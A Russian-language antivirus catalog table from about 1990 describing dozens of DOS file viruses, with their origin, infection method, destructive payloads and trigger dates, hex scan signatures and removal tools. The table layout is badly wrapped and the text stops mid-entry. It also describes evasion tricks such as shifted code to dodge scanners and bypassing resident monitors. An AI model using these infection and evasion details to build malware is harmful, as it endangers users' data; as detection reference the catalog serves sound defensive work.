Бончев(?) │ │ │ │!!!│ │ │M1│8B D8 53 B8 20 12 CD 2F 26 8A 1D B8 │ВНИМАНИЕ !!! Очень опасный и скрытно размно-│ │Number of the │ │ │ │ │M2│01 8C 45 70 1F 89 57 14 8C CA 8E DA │жающийся вирус второго поколения. │ │Beast Virus, │ │ │ │ │C │1EC54408720AB413CD2F1E52CD2F581F │Подробнее описан ниже. │ │(вирус апокалип- │ │ │ │ │T │666 │ │ │сического числа),│ │ │ │ │ │ │ │ │Stealth Virus │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ │(Стелс вирус) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Leprosy │ CE-0-666 │ │1│ │D │Abk Ion │США(Калифорния): август 1990 │ │ (Проказа), │ │ │ │ │M │8B 1E 9A 03 8B 0E EB 02 8B 16 E9 02 │При выполнении программы, зараженной данным │ │ Leprosy 1.00 │ │ │ │ │ │ │вирусом, вирус заражает все COM-файлы теку- │ │ │ │ │ │ │ │ │щего каталога, перезаписывая своим телом │ │ │ │ │ │ │ │ │первые 666 байт. Если в текущем каталоге на-│ │ │ │ │ │ │ │ │ходится COMMAND.COM, то он также уничтожает-│ │ │ │ │ │ │ │ │ся и при перезагрузке система зависнет. │ │ │ │ │ │ │ │ │После заражения вирус выдает сообщение │ │ │ │ │ │ │ │ │ "Program to big to fit in memory" │ │ │ │ │ │ │ │или │ │ │ │ │ │ │ │"NEWS FLASH!! Your system has been infected│ │ │ │ │ │ │ │ with the incurable decay of L1PROSY 1.00, │ │ │ │ │ │ │ │ a virus invented by PCM2 in June of 1990. │ │ │ │ │ │ │ │ Good luck!" │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*#$ Aids II │CE-0-8064 │ ! │2│ │D │Bmnt Ion │США: апрель 1990 │ │ (СПИД II), │ │ │ │ │M │A4 00 55 89 E5 81 EC 02 02 BF CA 05 0E 57 │Отсутствие приращения длины файла основано │ │ Companion Virus │ │ │ │ │ +│BF 3E 01 │на идее "файла-компаньона": если вызывается │ │ (Компаньон) │ │ │ │ │С │A4005589E581EC0202BFCA050E57BF3E │программа из каталога, где есть два файла с │ │ │ │ │ │ │ │ │именем - .COM и .EXE, то MS DOS выполнит │ │ │ │ │ │ │ │ │COM-файл. Поэтому вирус заражает EXE-файл не│ │ │ │ │ │ │ │прямо, а путем создния COM-файла со своим │ │ │ │ │ │ │ │телом, который после загрузки вызывает соот-│ │ │ │ │ │ │ │ветствующий EXE-файл. После создания очеред-│ │ │ │ │ │ │ │ного COM-файла с своим телом вирус играет │ │ │ │ │ │ │ │мелодию и выдает сообщения(в теле не видны):│ │ │ │ │ │ │ │ Your computer is infected with ... │ │ │ │ │ │ │ * Aids Virus II * │ │ │ │ │ │ │ │ - Signed WOP & PGT of DutchCrack │ │ │ │ │ │ │ │Затем запускает программу, а после ее завер-│ │ │ │ │ │ │ │шения опять играет музыку и выдает сообщение│ │ │ │ │ │ │ │ Getting used to me? │ │ │ │ │ │ │ │ Next time, use a Condom ..... │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# AIDS virus │CE-0-13000│ │2│ │D │Abk Cy Ion │Западная Европа: 1989 │ (CПИД), │ │ │ │ │ │ │Перезаписывает собой начало файла, уничтожая│ Taunt │ │ │ │ │M │ 42E8EFE3BFCA031E │тем самым первые 13К зараженного файла │ (Насмешка, │ │ │ │ │ │ │При выполнении зараженного файла выдает │ издевка), │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│на экран сообщение │ Hahaha, │ │ │ │ │ │ │ Your computer now has AIDS │ VGA2CGA │ │ │ │ │ │ │и "подвешивает" операционную систему │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │ EXE │ E-0-xxx │ │1│ │D │Abсk Bx Cn Dn Ion Jn K1 Lx Mn Se │Польша: 1990 │ │ │ │ │ │ │ │ │Затирает начало программы, записывая │ │ │ │ │ │ │ │вместо него свое тело. При запуске за│ │ │ │ │ │ │ │раженной программы ищет в главном каталоге │ │ │ │ │ │ │ │диска С: и его подкаталогах 6 еще не │ │ │ │ │ │ │ │зараженных программ и заражает их. Кроме │ │ │ │ │ │ │ │того ищет один файл типа DBF и искажает │ │ │ │ │ │ │ │информацию в нем искажая некоторые байты │ │ │ │ │ │ │ │Затем вирус выдает одно сообщение из 42 │ │ │ │ │ │ │ │возможных и возвращает управление MS DOS. │ │ │ │ │ │F │MKS_VIR │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Tiny-158 │RC-158 │Tin│1│<│D │Cy Di Itc Li Se │Болгария: июль 1990 │ │ │ │ │ │ │ │ │При запуске зараженной программы вирус пере-│ │ │ │ │ │ │ │ │писывает себя в свободную оперативную память│ │ │ │ │ │ │ │ │не резервируя ее и перехватывает 21 прерыва-│ │ │ │ │ │ │ │ │ние. Помимо размножение других эффектов нет.│ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Tiny-159 │RC-159 │Tin│1│<│D │Cy Di Itc Li Se │Болгария: июль 1990 │ │ │ │ │ │ │ │ │Штамм RC-158 │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Tiny-160 │RC-160 │Tin│1│<│D │Cy Di Itc Li Se │Болгария: июль 1990 │ │ │ │ │ │ │M │ │Штамм RC-158 │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 163 COM Virus,│C-163 │ │1│ │D │Cy Di Itc Li Sc │Исландия: июль 1990, Fridrik Skulason │ │ Tiny 163 Virus│ │ │ │ │M1│2A2E434F4D00 /*послед.байты зараж. файла*/│При запуске зараженной программы вирус пере-│ │ │ │ │ │ │M2│B4 40 8D 94 AB 01 B9 02 00 CD │писывает себя в свободную оперативную память│ │ │ │ │ │ │ │ │не резервируя ее и перехватывает 21 прерыва-│ │ │ │ │ │ │ │ │ние. Помимо размножение других эффектов нет.│ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Tiny-167 │RC-167 │Tin│1│<│D │Cy Di Itc Li Se │Болгария: июль 1990 │ │ │ │ │ │ │M │B4 3F B9 04 00 BA 36 71 06 8B FA 0E │Штамм RC-158 │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Tiny-198 │RC-198 │Tin│1│<│D │Cy Di Itc Li Se │Болгария: июль 1990 │ │ │ │ │ │ │M │B4 3F B9 04 00 BA 36 71 06 8B FA 0E │Штамм RC-158 │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │ 277 │ C-277 │IV │1│ │D │An │Болгария: 1990 │ │ │ │ │ │ │ │ │Штамм С-345 с удаленным текстовым сообщением│ │ │ │ │ │ │ │Вместо него вставлен код, обеспечивающий │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ошибку четности в 50% случаев запуска зара- │ │ │женной программы │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*#$ Kennedy │ C-308 │ │1│ │D │An │США: апрель 1990 │ │ │ -333 ?# │ │ │ │T1│ \COMMAND.COM │Вирус имеет три даты активации 6 июня (поку-│ │ │ │ │ │T2│ The Dead Kennedys │шение на Роберта Кеннеди, 1968), 18 ноября │ │ │ │ │ │M │8C 55 02 B8 01 43 33 C9 CD 21 │(смерть Джозефа Кеннеди, 1969) и 22 ноября │ │ │ │ │ │C │8C5502B8014333C9CD21 │(убийство президента Джона Кеннеди). В эти │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│дни вирус видает на экран текстовую строку │ │ │ │ │ │ │ │ Kennedy is dead │ │ │ │ │ │ │ │ long live 'The Dead Kennedys' │ │ │ │ │ │ │ │ │Возможны другие проявления типа потерянных │ │ │ │ │ │ │ │кластероы, сращивания файлов, ошибки при │ │ │ │ │ │ │ │чтении FAT │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Anti-Pascal II│ С-400 │AP │ │ │D │Acd Cy Di Itc │Болгария: июнь 1990. │ │ (Aнти-Паскаль), │ │ │ │ │DP│2048 < Len < MaxC │При запуске зараженной программы вирус пыта-│ │ 400 │ │ │ │ │ │ │ется заразить по одному COM-файлу в корневых│ │ │ │ │ │ │ │каталогах всех доступных дисков и один COM │ │ │ │ │ │ │ │файл в текущем каталоге. Если подходящие │ │ │ │ │ │ │ │для заражения два файла не найдены, то вирус│ │ │ │ │ │ │ │проверяет наличие в текущем каталоге файлов │ │ │ │ │ │ │ │с расширениями BAK, BAT или PAS. │ │ │ │ │ │ │ │ Если таковые существуют, то вирус уда- │ │ │ │ │ │ │ │ляет эти файлы. Удаления выполняются только │ │ │ │ │ │ │ │в главных каталогах доступных дисков и теку-│ │ │ │ │ │ │ │щем каталоге. Модифицирует бутсектор винче- │ │ │ │ │ │ │ │стера. Имеются штаммы длиной 440 и 480 байт.│ │ │ │ │ │ │ │Последний не удаляет BAT-файлы. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$Friday the 13th│С-425 │ │1│ │D │Cn Itc Li │ЮАР, 1987 │ COM-virus, │С-512 ? │ │ │ │I │1E8BECC746100001E80000582DD700B │При выполнении зараженного файла вирус ищет │ South Africa-2,│ │ │ │ │+ │104D3E88CCB03C32D100050 │два файла на диске С и один на диске А. │ Virus-B │ │ │ │ │M │ B44FCD2173F758 │Если зараженный файл выполняется в пятницу, │ COM Virus, │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│приходящуюся на 13 число, то он удаляется. │ Miami, │ │ │ │ │ │ │Существует ряд штаммов. │ Munich, │ │ │ │ │ │ │Штамм B заражает все файлы в текущем катало-│ 512 Virus │ │ │ │ │ │ │ге и возможно имеет длину 425 байт. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# VHP-435 │ RC-435 │Ven│1│<│D │Cn Scm │Болгария: июль 1989 │ │ │ │ │ │ │M1│1C 8C 44 02 B8 24 35 CD 21 89 /*штаммVHP-2│При исполнении вирусоносителя заражает еще │ │ │ │ │ │ │M2│07 89 7E 8A 8D 7E 90 89 7E 88 │одну программу в текущем каталоге. Если это │ │ │ │ │ │ │ │ │удается, то пытается заразить программу в │ │ │ │ │ │ │ │главном каталоге диска С. │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Ontario │ RCE-512 │ │2│ │D │Cy Icv Mac Ptt Se To │Канада (Онтарио): июнь 1990, Mike Shields │ │ │ │ │ │ │M │56 2E 8A 84 E8 01 B9 E8 01 F6 │При заражении COM файлов приращение длины │ │ │ │ │ │ │ │ │постоянно и равно 512, а при заражении EXE- │ │ │ │ │ │ │ │ │файлов варьируется в пределах 512-1023. Это │ │ │ │ │ │ │ │ │связано с тем, что вирус заполняет простран-│ │ │ │ │ │ │ │ │ство в конце последнего сектора случайными │ │ │ │ │ │ │ │ │данными (обычно частью каталога) и затем │ │ │ │ │ │ │ │ │дописывает себя к концу файла в виде отдель-│ │ │ │ │ │ │ │ │ного сектора. Используется сложный алгоритм │ │ │ │ │ │ │ │ │шифровки тела и инсталлятора, что делает не-│ │ │ │ │ │ │ │ │возможным детектирование контекстным поиском│ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# PRVS, │ C-453 │ │ │ │D │Сn Itc K1 Sc │Западная Германия: август 1990 │ │ 453 │ │ │ │ │T │TUQ.RPVS │Простой нерезидентный вирус, заражающий │ │ │ │ │ │ │ │ │файлы в текущем каталоге. Признак заражен- │ │ │ │ │ │ │ │ │ности файла - 9090h в последних двух байтах │ │ │ │ │ │ │ │ │тела вируса. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Shake Virus │ RC-476 │ ! │1│<│D │Ab Bt Cy Itc So Mlm │Болгария: май 1990 │ │ │ │ │ │ │M │31 D2 8B CA CD 21 3D 00 F0 73 │При выполнении зараженной программы вирус │ │ │ │ │ │ │ │ │инсталлируется в память, изменяя транзитную │ │ │ │ │ │ │ │ │часть COMMAND.COM или присоединясь к блоку │ │ │ │ │ │ │ │ │памяти, занимаемому COMMAND.COM. Файлы зара-│ │ │ │ │ │ │ │ │жаются при доступе. При выполнении заражен- │ │ │ │ │ │ │ │ │ной программы иногда выдается сообщение │ │ │ │ │ │ │ │ │ Shake well before use ! │ │ │ │ │ │ │ │ │и управление возвращается в MS DOS. Повтор- │ │ │ │ │ │ │ │ │ная попытка ведет к успешному выполнению │ │ │ │ │ │ │ │ │программы │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Anti-Pascal │ С-605 │AP │1│<│D │Acd Cy Di St2 │Болгария: июнь 1990. │ │ (Aнти-Паскаль), │ │ ! │ │ │DP│Atr != R & 605 < LenC < 64930 │При запуске зараженной программы вирус пыта-│ │ 605 │ │ │ │ │T │COMBAKPAS???EXE" /* смещение 0x17 */ │ется заразить еще два COM-файла на текущем │ │ │ │ │ │ │ │ │диске или диске D. Если подходящие два файла│ │ │ │ │ │ │ │ │не найдены, то вирус проверяет наличие в те-│ │ │ │ │ │ │ │ │кущем каталоге файлов с расширением BAK или │ │ │ │ │ │ │ │PAS. Если таковые существуют, то он записы- │ │ │ │ │ │ │ │выет в них собственный код и переименовывает│ │ │ │ │ │ │ │в COM или, если соответствующий COM-файл │ │ │ │ │ │ │ │существует, то в EXE. В последнем случае из-│ │ │ │ │ │ │ │за ошибки переименование не срабатывает │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# Do Nothing, │RC-608 │ │1│ │D │An Dn Li Km │Израиль, октябрь 1989, Uval Tal. │ Stupid, │RC-583 ? │ │ │ │M │72 04 50 EB 07 90 B4 4C │Остается резидентным, копируя себя начиная │ $ 640K COM virus│ │ │ │ │C │B9DC01BED02EBF00018CCA8EDABA0098 │с адреса 9800:0000. Поэтому рабоспособен │ │ │ │ │ │ │ │только на ПЭВМ с оперативной памятью 640K. │ │ │ │ │ │ │ │При выполнении зараженной программы вирус │ │ │ │ │ │ │ │ищет в текущем каталоге первый COM-файл и │ │ │ │ │ │ │ │заражает его независимо от того был он уже │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│заражен или нет │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ Icelandic II │RE-632 │ │1│~│D │Cn Di Itp K1 Za(r) │Исландия, июль 1989 │ (Исладский II) │ │ │ │ │I │8CDB4B8EDBB04DA20000A103002D8000 │Штамм RE-656. В отличие от последнего из- │ System Virus │ │ │ │ │+ │A3030003D8438EC333F633FF0E1FB9D007 │меняет при заражении дату на дату заражения │ (системный вирус)│ │ │ │ │M │A3030003D8438EC333F633FF │сбрасывает и не восстанавливает атрибут │ One In Ten │ │ │ │ │C │30BE0000B82E3A3B04741546E2F9B900 │READ ONLY. Свободные кластеры в FAT не отме-│ (один из десяти) │ │ │ │ │ │ │чает как сбойные. Механизм заражения иденти-│ │ │ │ │ │ │ │чен механизму RE-656, однако при заражении │ │ │ │ │ │ │ │вирус способен обходить резидентные сторожа │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│типа FluShot+ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* Vcomm │ E-637 # │!!!│2│<│D │Itp512 │Польша, Израиль: декабрь 1989 │ │ │ -1074 $?│ │ │ │M │77 02 B9 20 00 B4 4E CD 21 │При запуске зараженной программы вирус │ │ │ │ │ │ │ │заражает еще один EXE-файл в текущем │ │ │ │ │ │ │ │каталоге. При заражении файла вирус │ │ │ │ │ │ │ │выполняет экзотическое выравнивание: на │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│границу сектора (до величины, кратной 512), │ │ │ │ │ │ │ │а затем дописывает свое тело в конец файла │ │ │ │ │ │ │ │Сведения о проявлениях противоречивы. По │ │ │ │ │ │ │ │данным П.Хоффман вирус перехватывает │ │ │ │ │ │ │ │операции записи на диск и превращает из в │ │ │ │ │ │ │ │операции чтения. По данным фирмы CARMEL │ │ │ │ │ │ │ │вирус модифицирует в оперативной памяти │ │ │ │ │ │ │ │COMMAND.COM так, что команда COPY больше не │ │ │ │ │ │ │ │работает. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# Saratoga/ │RE-642 │ │1│~│D │Cn Itp K1 Mhm Za(r) │Исландия, 1988 │ Icelandic │ -640 ? │ │ │ │I │8CDB4B8EDBB04DA20000A103002D8000 │Копирует себя в конец оперативной памяти │ (Саратога/ │ │ │ │ │+ │A3030003D8438EC333F633FF0E1FB9D007 │уменьшая размер доступной MS DOS памяти на │ Исланский) │ │ │ │ │M │A3030003D8438EC333F633FF │2K. Заражает каждую вторую исполняемую про-│ $ Saratoga │ │ │ │ │C │CB26C6067F03FFB452CD21268B47FE8E │грамму. Отмечает один кластер в FAT как │ One in Two │ │ │ │ │ │ │сбойный Механизм заражения идентичен меха- │ │ │ │ │ │ │ │низму RE-656, однако как и RE-632 при зара- │ │ │ │ │ │ │ │жении вирус способен обходить резидентные │ │ │ │ │ │ │ │сторожа типа FluShot+. Для маскировки зани-│ │ │ │ │ │ │ │маемого блока в оперативной памяти он марки-│ │ │ │ │ │ │ │рует его как принадлежащий операционной сис-│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│теме. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# Lisbon Virus │ C-648L │ │1│ │D │Ak Dn Itp K1 Li Sp1 │Португалия, ноябрь 1989, Jean Luz. │ (Лиссабонский)│ │ │ │ │M1│8B 44 79 3D 0A 00 72 DE │Штамм С-648а,в котором в первые пять байтов │ │ │ │ │ │M2│89 7C 16 90 89 F7 83 C7 1F 90 │уничтожаемых программ записывается строка │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│"@AIDS". Вирус очень близок к оригинальному,│ │ │ │ │ │ │ │однако команды смещены на два байта с тем, │ │ │ │ │ │ │ │чтобы избежать детектирования программами, │ │ │ │ │ │ │ │пассчитанными на обнаружение С-648 │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 651 │RCE-0651 │ │1│ │D │An Ds62 Itc Msl Se │Болгария, конец 1989 г. │ │ Eddie 3, │ │ │ │ │DP│651 < LenC < 64372 │Маскирует увеличение длины на зараженной │ │ │ │ │ │ │DR│1K │машине, вычитая длину для файлов с 62 сек. │ │ │ │ │ │ │M │67 17 E0 26 81 6F 1D 8B 02 26 │Уменьшает размер доступной памяти на 1К │ │ │ │ │ │T │Eddie Lives. │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ Icelandic │RE-656 │ │1│.│D │Itp Mm │Исландия, июнь 1989 │ (Исланский), │ -661 ? │ │ │ │I │26C6067F03FFB452CD212E8C066D022 │Копирует себя в конец оперативной памяти │ 656, │ -652 ? │ │ │ │+ │68B47FE8EC026030603004040 │уменьшая размер доступной MS DOS памяти на │ One In Ten │ │ │ │ │C │700074053D00F075E926C6067F03FFB4 │2K. Если при инсталляции вирус обнаруживает,│ (один из 10), │ │ │ │ │ │ │что прерывание 13 перехвачено, то он не за- │ Disk Crunching│ │ │ │ │ │ │ражает программы. Если прерывание 13 указы- │ Virus │ │ │ │ │ │ │вает на BIOS, то вирус прехватывает его и │ │ │ │ │ │ │ │заражает каждую десятую исполняемую програм-│ │ │ │ │ │ │ │му. При наличии винчестера 20M или больше │ │ │ │ │ │ │ │каждый раз при заражении программу отмечает │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│один свободный кластер в FAT как сбойный │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*$ Saturday 14th,│RCE-685 │ │1│ │D │Az Cn Itp-tp To │ЮАР: март 1990. │ │ Durban │ -681 ? │ │ │ │M1│1F B8 24 35 CD 21 8C 06 6F │Каждую субботу, которая приходится на 14 │ │ │ │ │ │M2│0E 1F B8 24 35 CD 21 8C 06 6F │число уничтожает первые 100 секторов диска │ │ │ │ │ │C │A4E2FDB4DECD2180FCDF7447C6067102 │на дисках A,B,C │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Flash │RCE-688 │ │1│ │D │Cn Itc-tx Se1 │Западная Германия: июль 1990. │ │ │ │ │ │ │DP│500 < LenCE │При инсталляции вирус записывает тело в │ │ │ │ │ │ │DR│976 │старшие адреса и обьем свободной памяти │ │ │ │ │ │ │M │B0 00 FA D5 0A 88 07 EB 05 EA C0 │уменьшается на 976 байт. Анализ прерываний │ │ │ │ │ │ │ │ │показывает, что адреса прерываний 00, 23, │ │ │ │ │ │ │ │24, 30, ED, F5 и FB указывают на свободную │ │ │ │ │ │ │ │память. Общее количество памяти, сообщаемое │ │ │ │ │ │ │ │MS DOS а также количество памяти, использу- │ │ │ │ │ │ │ │емое операционной системой и резидентными │ │ │ │ │ │ │ │программами не меняется │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Sorry │ RC-731 │ │ │ │D │Cy Itc Se1 │июнь 1990. │ │ G-Virus V1.3 │ │ │ │ │HR│21 │Штамм RC-765. Проявления неизвестны │ │ │ │ │ │ │DP│ │ │ │ │ │ │ │ │DR│u1024 │ │ │ │ │ │ │ │M │EB 96 83 2E 12 00 40 83 2E 03 │ │ │ │ │ │ │ │T1│G-VIRUS V1.3 │ │ │ │ │ │ │ │T2│Bitte gebe den G-Virus Code ein │ │ │ │ │ │ │T3│Tut mir Leid ! │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Taiwan │ C-743 │ │1│ │D │Cy Ihc K1 Ph Src3 │Тайвань, 1990. │ │ (Тайвань), │ │ │ │ │M │8A 0E 95 00 81 E1 FE 00 BA 9E │При выполнении зараженной программы ищет │ │ $ Taiwan 2 │ │ │ │ │C │58004101268C0E5A0007E4210C02E621 │на диске С незараженный файл и заражет его │ │ (Тайвань 2), │ │ │ │ │ │ │Записывает себя в начало файла, перенося │ │ Sunny virus │ │ │ │ │ │ │соответствующую часть оригинальной программы│ (Солнечный) │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│в конец файла │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*#$ Perfume, │RC-765 │ │2│ │D │Cn Se1 │Западная Германия, Польша: декабрь 1989 │ │ 765, │ -768 ? │ │ │ │M1│A4 81 EC 00 04 06 BF BA 00 57 CB │Сведения о вирусе противоречивы. │ │ 4711 │ │ │ │ │M2│04 06 BF BA 00 57 CB 0E 1F 8E 06 │По данным Хоффман он нерезидентен, заражает │ │ │ │ │ │C │832E030040B82135CD212E891E61002E │COMMAND.COM, дает постоянное приращение │ │ │ │ │ │ │ │зараженных файлов, иногда задает вопрос, │ │ │ │ │ │ │ │правильным ответом на который является 4711 │ │ │ │ │ │ │ │(по видимому название или код какой-то не- │ │ │ │ │ │ │ │мецкой парфюмерии). │ │ │ │ │ │ │ │По другим данным вирус резидентен, │ │ │ │ │ │ │ │записывает себя в старшие адреса памяти, │ │ │ │ │ │ │ │(1024 байта). Находясь в памяти заражает │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│каждую выполняемую программу │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Ambulance Car │ C-796 │ │1│ │D │Bmv Cn │Западная Германия, июнь 1990 │ │ (Скорая помощь),│ │ │ │ │M │52 8B 9C 17 04 B9 19 03 8D 94 │При исполнении зараженной программы ищет │ │ RedX │ │ │ │ │C │023DCD21898417048B9C1704B903008D │жертву на диске C: и затем заражает один │ │ (Красный крест) │ │ │ │ │ │ │COM-файл в любом каталоге, При этом заража- │ │ │ │ │ │ │ │емый файл не должен быть первым COM-файлом │ │ │ │ │ │ │ │в данном каталоге. Фаза проявления наступает│ │ │ │ │ │ │ │при выполнении зараженной программы в опре- │ │ │ │ │ │ │ │деленный (случайный ?) момент времени. При │ │ │ │ │ │ │ │этом в нижней части эерана появляется изоб- │ │ │ │ │ │ │ │женной с помощью псевдографики изображение │ │ │ │ │ │ │ │скорой помощу с красным крестом, которая │ │ │ │ │ │ │ │проезжает по экрану слева направо со звуком │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│сирены. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# V800, │ RC-800 │DAv│1│<│D │Cn Itc Km Mc Se │Болгария: май 1990. │ │ Live after Death│ │ │ │ │HR│2A │Вирус содержит в зашифрованном виде строку │ │ │ │ │ │ │DR│h 16K │"Live after Death" │ │ │ │ │ │ │DP│1024 < LenC │ │ │ │ │ │ │ │M │51 AD 33 D0 E2 FB 59 31 15 47 │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# V800M │ RC-800m │DAv│1│<│D │Cn Itc Km Mc Seо │Болгария: май 1990. │ │ Live after Death│ │ │ │ │HR│2A │Штамм RC-800 не содержащий строки │ │ │ │ │ │ │DR│h 8192 │"Live after Death". Заражает файлы и при │ │ │ │ │ │ │DP│1024 < LenC │открытии. Уменьшает обьем свободной памяти │ │ │ │ │ │M │51 AD 33 D0 E2 FB 59 31 15 47 │не на 16K, а на 8192. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Icelandic-III │RE-853 │ │1│ │D │Itp Mm │Исландия: декабрь 1989. │ │ December 24th │ │ │ │ │M │24 2E 8F 06 3B 03 90 2E 8F 06 │Штамм RE-656. Не заражает программы, инфици-│ │ │ │ │ │ │C │24 2E 8F 06 3B 03 90 2E 8F 06 │рованные вирусами RC-656 и RC-632. Если ин- │ │ │ │ │ │ │ │ │фицированная программа запускается 24 декаб-│ │ │ │ │ │ │ │ │ря, то через некоторое время на экран выда- │ │ │ │ │ │ │ │ется сообщение "Gledileg jol" (Счастливого │ │ │ │ │ │ │ │Рождества на исландском языке). │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ Virus-90 │ RC-857 │ │1│ │D │An Cn │США (Вашингтон), декабрь 1989. │ (Вирус-90) │ │ │ │ │M │81 B8 FE FF 8E D8 2D CC │Деструктивные действия отсутствуют. │ │ │ │ │ │C │81 B8 FE FF 8E D8 2D CC │Известен автор (Patrick Toulme). │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│Задуман как демоверсия - заражает файлы │ │ │ │ │ │ │ │только на дискетах. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*#$ Typo COM │ RC-867 │ │1│ │D │Av Cy Li │Великобритания (Брайтон), 10.89, Joe Hirst. │ │ (Опечатка) │ │ │ │ │M │99 FE 26 A1 5A 00 2E 89 │При выполнениии зараженной программы по чет-│ │ Typo/Fumble, │ │ │ │ │C │32C0B4DDCD163AC4750258C35356068B │ным дням заражает все СOM-файлы в текущем │ │ Fumble │ │ │ │ │ │ │каталоге. Искажает данные пересылаемые через│ (Искажатель), │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│параллельный порт (например принтер), │ 867 │ │ │ │ │ │ │заменяя некоторые, случайно выбираемые сим- │ │ │ │ │ │ │ │волы на символы, расположенные на клавиатуре│ │ │ │ │ │ │ │справа ("w" на "q", 